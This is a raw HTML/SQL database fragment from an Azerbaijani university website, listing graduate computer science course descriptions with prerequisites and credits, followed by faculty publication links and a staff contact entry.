margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 524: Kompüter Arxitekturası (yüksək\r\nsəviyyə) (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 308</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Multiprosessor\r\nsistemləri və ixtisaslaşdırılmış maşın detalları daxil olan yeni texnoloji\r\ninkişafları əhatə edən müasir kompüter arxitekturası. Məlumat axını maşınları,\r\nyüksək səviyyəli dil prosessoru və assosiativ prosessorlar kimi yeni\r\nanlayışlara xüsusi diqqət olunacaq.<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 526: Biliklərin təsviri texnikası (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 105, CMS 415</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Əsas anlayışlar və\r\nüsullar. Biliklərin təsviri. Nəticələrin hazırlanması. Ekspert sistemi üçün\r\nalətlər və dillər. Biliklər mühəndisliyi və ekspert sistemlərin yaradılması.\r\nBiliklərin əldə edilməsi. Ekspert sistemlərin tətbiqi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 530: Kompüter Qrafikası (yüksək səviyyə)\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 350</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Transformasiya\r\nhəndəsəsi, standart qrafik sistemlər. Splayn və interpolyasiya, görünən səthi\r\nalqoritmlər. Gizli səthi modellər, müxtəlif səth növlərinin göstərilməsi. Kölgə\r\ntexnikası.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong><strong><em>&nbsp;</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 535: Multimedia Sistemləri (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 350, CMS 420</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Multimedia sistemləri,\r\nqrafika, audio, video, animasiyanın aparat və proqram vasitələri. Yüksək\r\nsəviyyəli dillərdə multimedia sistemləri komponentlərinin proqramlaşdırmasının\r\nəsas aspektləri; 3D modellərdə animasiya, procedural animasiya, hissəcik\r\nsistemi, fraktalların&nbsp;Furye sintezi, su dalğaları, bulud burulğanlığı və\r\nalov, slayd təqdimatı, film fayllarının yaradılması. Multimedia sistemlərinin\r\nbeynəlxalq standartları (MPEG-1 - MPEG-7). AVI fayllarını yaratmaq üçün Macromedia\r\nFlashdən istifadə edilməsi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 540: Şəkilli və Multimedia Verilənlər\r\nBazaları (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 316, CMS 535</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Şəkilli və multimedia\r\ninformasiya sisteminin tələbləri. Verilənlərin modelləri və müraciət;\r\nalternativlər. Verilənlər bazaları sistemləri. Vizual dillər və rabitə.\r\nHypertext. Verilənlər bazasının dizaynı və təşkili, məntiqi və fiziki dizayn.\r\nVerilənlər bazasının heterogenliyi və paylanması.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 543: Paylanmış Verilənlər bazaları\r\nSistemləri (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 316, CMS 540</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Fayl yerləşdirilməsi,\r\nintellektual kataloq dizaynı, əməliyyatın idarə edilməsi, çıxılmaz vəziyyət,\r\ngüclü və zəif eyni zamanda parallel yerinə yetirmələrə nəzarət, fiksasiya\r\nprotokolları, çox ölçülü verilənlər bazası sistemləri, defektlərin bərpa\r\ntexnikası, şəbəkənin seksiyalara bölünməsi, nümunələr, mübadilə və dizayn\r\ntəcrübələri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 545: Proqramlaşdırma dilləri (6 kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bütün proqramlaşdırma\r\ndillərinin əsas anlayışları; qərar qəbul etmə vaxtı, görüntü, yada saxlama,\r\nyaddaşın idarə edilməsi, abstraksiya mexanizmləri və genişlənmə daxil olan\r\nsemantik aspektlər; əməliyyat və təyinat semantik specifikasiyalar; xüsusilə\r\nverilənlərin təsviri, nəzarət rejimləri kodun təsviri və daşıma daxil olan çox\r\nyüksək səviyyəli dillər üçün dizayn və tətbiq məsələləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 548: Obyekt-yönümlü proqramlaşdırma\r\ndilləri&nbsp;(yüksək səviyyə)&nbsp;(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n420</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kurs obyekt-yönümlü\r\nproqramlaşdırmanın anlayışları və dizaynı, alqoritmlər, problemin formalaşması,\r\nstruktur proqramlaşdırma, dəyişənlər, ilkin və abstrak verilənlər növləri,\r\nverilənlərin strukturları, giriş/çıxış faylı və sətirlər üzərində əməllər, çeşidlənmə\r\nvə axtarış, nəzarət strukturları və standart alqoritmlər, massivlər və\r\nrekursiyaya əsaslanır. Bu kurs yüksək səviyyəli blok strukturlaşdırılmış və\r\nobyekt-yönümlü proqramlaşdırma dillərini istifadə edir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 550: Proqram təminatının layihələndirilməsi\r\ntexnikası (yüksək səviyyə) (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 420, CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Proqram vasitələrinin\r\nyaradılması, testləşdirilməsi, və çatdırılma üsulları və alətləri. Verilənlərin\r\nabstraksiyası və çoxişlənən komponentlərə istinad edilir. Tələbələr qruplarda\r\nişləyərək dizayn sənədləri, istifadəçi üçün bələdçi, və proses hesabatları\r\nözündə əks edən&nbsp;mühüm proqram məhsulunu tətbiq edirlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 555: Verilənlərin Strukturları (yüksək\r\nsəviyyə) (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 215</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Axtarış, təsvirlərin\r\nemalı, və hesablama həndəsə, çoxölçülü verilənlər strukturları, verilənlərin\r\nstrukturlarının dinamizminə, məkan məlumat strukturları, parallel və paylanmış\r\nmühitdə verilənlər strukturlarının tətbiqi ilə müasir verilənlər strukturları.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 560: Verilənlərin analizinin kompüter\r\nmetodları və modellərin formalaşması (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 316</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Empirik müşahidələr\r\nnəzəriyyəsinin şərh edilməsi, ümumiləşdirilməsi və formalaşdırılmasında\r\nkompüterlərin istifadəsi üsulları.&nbsp;Hesablama mürəkkəbliyi, saxlanılması\r\ntələbləri və kompüter modellərinin dəqiqliyi arasında mübadilənin&nbsp;riyazi\r\ntəhlili.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 563: Texniki və statistik verilənlərin\r\nrəqəmsal emalı (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 321</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Mühəndis və statistik\r\nverilənlərin emalı üçün kompüter üsulları. Rekursiv filter funksiyalarının\r\nqiymətləndirilməsi alqoritmləri, Furye sıraları, güc spektrləri, korrelyasiya\r\nhesablamaları təhlili və statistik test qiymətləndirmə.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 570: Proqram Strukturları Nəzəriyyəsi (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kompüter proqramları\r\nmodelləri və onların sintaksis və semantikası; proqramlar və rekursiya\r\nsxemlərinə vurğu; ekvivalentlik, optimallaşdırma, düzgünlük, və proqramların\r\nçevrilə bilməsi; proqramların qurulması və verilənlərin strukturları; seçilmiş\r\ncari mövzular.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 580: Proqram təminatının layihələndirilməsi\r\nsistemləri (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 430</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Proqramların mütləq\r\ndoğru sistemlərinin layihələndirilməsi və qurulması üçün metodologiya və\r\nkompüter əsaslı sistemlər. Struktur dizayn; struktur proqramlaşdırma; kompüter\r\ndəstəkli proqram təminatının layihələndirilməsi texnikası. Nəzəri əsaslar və\r\ncari tədqiqatlar.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 583: Kompüter dəstəkli dizayn\r\nsistemlərinin prinsipləri (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 350, CMS 530</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kompüter dəstəkli\r\ndizayn sistemləri sahəsinə giriş. Nəzəriyyəsi və geniş tətbiqləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 590: Kompüter Elmləri sahəsində xüsusi\r\nmövzular (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kataloqda siyahıda\r\ngöstərilməyən kurslar xüsusi mövzulu kurslara aiddir. Kursun məzmunu\r\ntələbələrin və müəllimlərin maraqlarından asılı olaraq ildən ilə dəyişir.\r\nKurslara kompüter elmləri üzrə müxtəlif mövzular aiddir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 600: Magistr tezisi (12 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Elmi-tədqiqat işi.\r\nRəhbərin verdiyi mövzu əsasında fərdi olaraq yerinə yetirilir. Işin nəticələri\r\ntezis şəklində təqdim olunmalıdır.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 610: İntellektual Sistemlər (yüksək səviyyə)\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n415, CMS 502</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs praktiki kurs\r\nolub tələbələri İntellektual Sistemlərin analizi&nbsp;və dizaynı üçün alətlər\r\ndəsti ilə tanış edir. İntellektual Sistemlərin yaradılması, Tətbiqi Süni\r\nİntellektual Sistemlər, Verilənlərin təhlili, Dilin anlaşması, Təsvirlərin\r\nanlaşması, Nitqin tanınması, İntellektual agent.&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 620:&nbsp;Modelləşdirmə və biznes\r\nqərarların analizi (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n507</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs biznesdə\r\nqərarların qəbulu üçün modelləşdirmə üsulları və analizini əhatə edir. Modelin\r\nqurulması. Qərarılarn strukturu. Qərarların qəbulu. Qərarların\r\nmodelləşdirilməsi. Qərar modellərinin növləri. Qərar modellərinin yaradılması.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 630: Neyron Şəbəkələri (yüksək səviyyə) (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n425, CMS 510</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs neyron\r\nşəbəkələri üzrə praktiki kursdur. Neyron Şəbəkələrin strukturu. Neyron\r\nŞəbəkələrin öyrədilməsi alqoritmləri. Nəzarət olunan öyrətmə. Nəzarət olunmayan\r\nöyrətmə.&nbsp;Gücləndirilmiş öyrətmə. Back-Propagation alqoritmi. Neyron\r\nŞəbəkələrin tətbiqi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 635: Zaman sıralarının proqnozlaşdırılması\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n507</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs zaman sıraları\r\nmodellərini əhatə edir və zaman sıraları modellərindən istifadə etməklə\r\nproqnozlaşdırma üzrə praktiki nümunələr daxildir. Zaman sıraları elementləri.\r\nZaman sıralarının parçalanması. Trend təhlili. Ən kiçik kvadratlar metodu.\r\nMövsümiliyin təhlili.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 640: Qeyri-səlis Məntiq və Sistemlər (6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n425, CMS 505</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs tələbələri\r\nqeyri-səlis məntiq və sistemlərlə tanış edən praktiki kursdur. Qeyri-səlis\r\nçoxluqlar və mənsubiyyət funksiyası. Qeyri-səlis ədədlər. Qeyri-səlis münasibət\r\nvə kompozisiya. Qeyri-səlis nəticə çıxarma sistemləri. Qeyri-səlis məntiqin\r\ntətbiqi.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 646: Şəbəkə Təhlükəsizliyi\r\nSistemləri&nbsp;(yüksək səviyyə) (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n521</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kursda ümumi\r\ntəhlükəsizlik prosesləri və sistemlərinə baxılır. Xüsusi diqqət\r\ntəhlükəsizlik siyasəti sahəsində praktiki bacarıqlara, təhlükəsizlik\r\ntexnologiyaları, mühafizə sistemi (firewall) və təhlükəsiz marşrut dizaynı, AAA\r\ntətbiqi, müdaxilənin aşkarlanmasının (IDS) tətbiqi&nbsp;və VPN tətbiqinə\r\nverilir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 650: Risklərin analizi və\r\nqiymətləndirilməsi (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n507</strong></em></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\">Kurs risklərin təhlili və\r\nqiymətləndirilməsinin yüksək səviyyəli metodları və üsullarını əhatə edir. Maliyyə\r\nriskləri. Biznesdə risk. Risklərin analizi metodları. Risklərin\r\nqiymətləndirilməsi. Risklərin idarə edilməsi.&nbsp;Risklərin analizi və\r\nqiymətləndirilməsi modelləri. Model seçimi metodologiyası.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;<strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 654: Mühəndislikdə Ekonometrik Analiz</em></strong><strong><em>&nbsp;(6\r\n<strong><em>ECTS</em></strong>  kredit)</em></strong></p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit : &nbsp;CMS 507</em></strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs ekonometrik\r\nanalizin qabaqcıl metodları və üsullarını əhatə edir. Ekonometrik təhlil.\r\nReqressiya analizi. Xətti reqressiya. Çoxölçülü xətti reqressiya. Qeyri-xətti\r\nreqressiya. Ən kiçik kvadratlar.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 660: Biliklərin təsviri texnikası (yüksək\r\nsəviyyə) (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n526</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs praktiki kurs\r\nolub tələbələri biliklərin təsviri texnikası ilə tanış edir. Biliklərə\r\nəsaslanan sistemlər. Biliklərin əldə edilməsi və yoxlanması. Biliklərin təsviri\r\nmodelləri.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 665: Genetik Alqoritmlər (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n425</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs təkamül\r\nhesablamaları və genetik alqoritmlərin tətbiqinə yönəlmişdir. Təkamül\r\nhesablama. Genetik alqoritmlər. Hesablama modelləri. Seçmə. Axtarış\r\noperatorları. Təkamül alqoritmi. Yararlığın qiymətləndirilməsi. Populyasiya\r\nstrukturu.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>&nbsp;</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 670: Verilənlərin təhlili və Model\r\nformalaşması (6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n507</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Bu kurs tələbələrə\r\nverilənlərin analizi modellərini təqdim edən praktiki kursdur. Modellər və\r\nmodel formalaşması. Optimizasiya modelləri. Simulyasiya modelləri. Həssaslıq\r\ntəhlili. Çoxölçülü reqressiya təhlili. Qeyri-müəyyənlik şəraitində qərarların\r\nqəbul edilməsi. Qərar ağacları. Qərarlara Dəstək Sistemlər.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong>&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 680: Kompüter Mühəndisliyinin Müasir Problemləri\r\n(6 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>Prerekvizit :&nbsp;</em></strong><em>&nbsp;<strong>CMS\r\n520, CMS 550</strong></em></p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">Kurs informasiya\r\ntexnologiyasının müasir problemləri, verilənlərin analizi, verilənlər bazasının\r\ndizaynı, veb sayt dizaynı, multimedia sistemləri, elektron ticarətə diqqət\r\nyetirir.</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\">&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;text-align:justify;background:white\"\"=\"\"><strong><em>CMS 700: Ph.D. Dissertasiyası (24 <strong><em>ECTS</em></strong>  kredit)</em></strong><em></em></p><p>\r\nPh.D dərəcəsi üçün tədqiqat\r\nproqramı tələbə və müəllim heyəti arasında tənzimlənir. Tələbə ikinci\r\nsemestrin əvvəlindən başlayaraq və üçüncü semestrin əvvəlindən geç olmayaraq\r\nbütün semestrlər ərzində elmi-tədqiqat proqramı, yaxud dissertasiyanın\r\nyazılması davam edənə qədər bu kursa qeydiyyatdan keçir.</p>'),(860,265,'az','Nəşrlər','Nəşrlər','<p><strong><a href=\"http://www.khazar.org/files/engineering/Mahammad_%20Sharifov.pdf\">Məhəmmad Şərifov</a>&nbsp;</strong> </p><p><strong><a href=\"http://www.khazar.org/files/pdf/Leyla_Muradkhanli.pdf\">Leyla Muradxanlı</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Sakhavat_Talibov.pdf\">Sakhavat Talibov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/Ramiz_Ahmadov.pdf\">Ramiz Ahmadov</a></strong></p><p><strong><a href=\"http://www.khazar.org/files/pdf/JavadMehriPublications.pdf\">Javad Mehri Tekmeh</a></strong></p>'),(861,573,'az','İşçi heyəti','İşçi heyəti','<p><img src=\"/files/languages_depart/zivar_b.jpg\" style=\"border:0px  #000000;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left;width:150px;height:194px\"><strong><a href=\"http://www.khazar.org/files/languages_depart/CV_Zivar_Huseynli_2018_az.pdf\">Zivər Hüseynli Baylan</a>&nbsp;- Dosent</strong></p><p><strong>Dillər və mədəniyyətlər departamentinin&nbsp;koordinatotu&nbsp;</strong></p><p><strong></strong>Fars dili və Ədəbiyyatı üzrə fəlsəfə doktoru (Tehran Universiteti,&nbsp;İran)</p><p>Fars dili və Ədəbiyyatı üzrə fəlsəfə magistr&nbsp;(Tehran Universiteti,&nbsp;İran)  <br></p><p><a href=\"mailto:zhuseynova@khazar.org\"></a><strong>E-mail:&nbsp;</strong><a href=\"mailto:zhuseynova@khazar.org\">zhuseynova[at]khazar.org</a></p><p><strong>Telefon:</strong>&nbsp;(+994 12) 421 10 93 (215)&nbsp;</p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/NewFolder/Sevinc%20Allahverdiyeva%20cv.pdf\"><strong><img src=\"/files/image/sevinc%20Allahverdiyeva.png\" style=\"width:150px;height:182px;margin:7px;float:left\"></strong></a><strong><a href=\"http://www.khazar.org/files/languages_depart/Sevinc_Allahverdiyeva_CV_2018.pdf\">Sevinc&nbsp;Allahverdiyeva</a></strong></p><p><strong><strong>Alman&nbsp;dili və Ədəbiyyatı müəllimi&nbsp;</strong>  </strong></p><p><strong>E-mail:&nbsp;</strong><a 